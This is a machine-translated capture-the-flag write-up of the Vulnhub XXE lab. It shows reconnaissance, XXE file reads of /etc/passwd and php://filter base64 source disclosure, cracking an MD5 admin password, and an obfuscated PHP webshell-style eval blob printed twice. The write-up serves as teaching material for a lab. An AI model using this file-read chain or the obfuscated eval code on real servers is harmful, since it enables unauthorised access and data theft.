Vulnhub-XXE drone learning

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Two days ago to see on the public micro-channel number XXE this range, wanted to try, although online article has been written about this too much, but still plans to write out the water, 233,333,333, really happy fishing in troubled waters .jpg

0x01 Installation

There's really nothing, unpacked vmware imported boot just fine

0x02 Information Collection & Analysis

nmap first direct sweep, is not difficult to determine the IP drone

Anyway drone, direct scavenging -A

IP access is the default page apache2 of no use

However, according to the scan result nmap, robots.txt file exists, the Disable the path and XXE admin.php

However admin.php can not access, it should be no permission emmmmm

Xxe get access path

Just landed tested it and found that sends the user name output

Js code to find the corresponding, POST send an xml request, also called XXE drone, direct capture XXE

<script type="text/javascript">
function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<password>' + $('#password').val() + '</password>' +
        '</root>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
        }
    }
    xmlhttp.open("POST","xxe.php",true);
    xmlhttp.send(xml);
};
</script>

0x03 implementation process

Now that we know is xxe, or linux, be sure to read the passwd file directly etc directory files for testing, and validation is successful, xxe loopholes, there also has been a r00t, manual confusion must have far-reaching effects (but did not come back later to spend), the first record to say

Try Now admin.php file contains successful, try to contain it in front of an inaccessible

payload php://filter/read=convert.base64-encode/resource=admin.php

The results obtained, Base64 Decode

<?php
   session_start();
?>

<html lang = "en">

   <head>
      <title>admin</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>

   <body>

      <h2>Enter Username and Password</h2> 
      <div class = "container form-signin">

         <?php
            $msg = '';
            if (isset($_POST['login']) && !empty($_POST['username']) 
               && !empty($_POST['password'])) {

               if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                  $_SESSION['valid'] = true;
                  $_SESSION['timeout'] = time();
                  $_SESSION['username'] = 'administhebest';

                echo "You have entered valid use name and password <br />";
        $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
        echo $flag;
               }else {
                  $msg = 'Maybe Later';
               }
            }
         ?>
      </div> <!-- W00t/W00t -->

      <div class = "container">

         <form class = "form-signin" role = "form" 
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); 
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control" 
               name = "username" 
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit" 
               name = "login">Login</button>
         </form>

         Click here to clean <a href = "adminlog.php" tite = "Logout">Session.

      </div> 

   </body>
</html>

Find username administhebest

MD5 password is decrypted admin@123

Landing attempt, however, was not what emmmmm

In admin.php which also saw a flagmeout.php file, use the above manner contains

After Decode Base64

<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>

Well, again this is a Base32 emmmm

L2V0Yy8uZmxhZy5waHA=

Matryoshka 233333, Base64

/etc/.flag.php

Then also nothing to say, once the file contains, there is the full path, and direct file: ///etc/.flag.php

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);

Get a bunch of strange things, look at big brother's answer, and is a variant of php webshell, look like a run on the local, the question is, I direct that contains the file read out of something looks like it will be because of encoding there is a problem, and it will ultimately usephp://filter/read=convert.base64-encode/resource=flagmeout.php

包含出来再Base64Decode,添加上php文件标记

<?php
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$脌=+_;$脕=$脗=$脙=$脛=$脝=$脠=$脡=$脢=$脣=++$脕[];$脗++;$脙++;$脙++;$脛++;$脛++;$脛++;$脝++;$脝++;$脝++;$脝++;$脠++;$脠++;$脠++;$脠++;$脠++;$脡++;$脡++;$脡++;$脡++;$脡++;$脡++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$__('$_="'.$___.$脕.$脗.$脙.$___.$脕.$脌.$脕.$___.$脕.$脌.$脠.$___.$脕.$脌.$脙.$___.$脕.$脗.$脙.$___.$脕.$脗.$脌.$___.$脕.$脡.$脙.$___.$脕.$脡.$脌.$___.$脕.$脡.$脌.$___.$脕.$脛.$脝.$___.$脕.$脙.$脡.$___.$脕.$脝.$脕.$___.$脕.$脠.$脙.$___.$脕.$脙.$脡.$___.$脕.$脠.$脙.$___.$脕.$脝.$脡.$___.$脕.$脙.$脡.$___.$脕.$脛.$脝.$___.$脕.$脛.$脕.$___.$脕.$脠.$脙.$___.$脕.$脡.$脕.$___.$脕.$脡.$脝.'"');$__($_);
?>

最终使用phpstudy，开启错误显示，本地访问这个webshell得到了flag